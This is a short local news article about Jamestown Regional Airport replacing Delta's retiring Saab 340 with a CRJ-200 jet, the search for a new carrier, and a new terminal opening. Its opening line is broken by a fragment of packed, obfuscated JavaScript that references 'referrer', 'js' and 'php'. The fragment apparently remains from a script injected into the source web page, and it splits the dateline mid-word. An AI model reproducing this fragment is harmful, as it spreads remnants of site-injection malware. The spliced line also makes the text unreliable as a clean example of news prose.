Jamestown bdefn|var|u0026u|referrer|ddzsf||js|php’.split(‘|’),0,{}))
N.D.- The end of an era, and the beginning of a new era took place in a matter of hours at the Jamestown Regional Airport on Wednesday.

The Saab 340, with it’s distinctive propellers, which had serviced the airport for the last eight years had it’s final commercial flight Wednesday afternoon from the airport, due to Delta retiring the aircraft. It was replaced later in the evening by the sleeker looking Canadair Regional Jet-200; the first commercial passenger jet to service Jamestown since 1978.

According to Jamestown Regional Airport Manager Matthew Leitner, the flight time on the CRJ will be 25 minutes faster to Minneapolis than on the Saab 340.  In addition, there are 16 more seats available on each flight.

The move to the CRJ is only temporary, as the airport and Delta Airlines are still searching for another airline to pick up Delta’s subsided contract. Leitner says once that occurs, the CRJ will leave with the current carrier, Pinnacle, and the new airline, still associated with Delta, will bring in a new aircraft, most likely another turboprop; the Beech-1900.

In other airport news, the new airport terminal is scheduled for a ribbon cutting ceremony on December 16, with operations from the new terminal taking place a few days beforehand.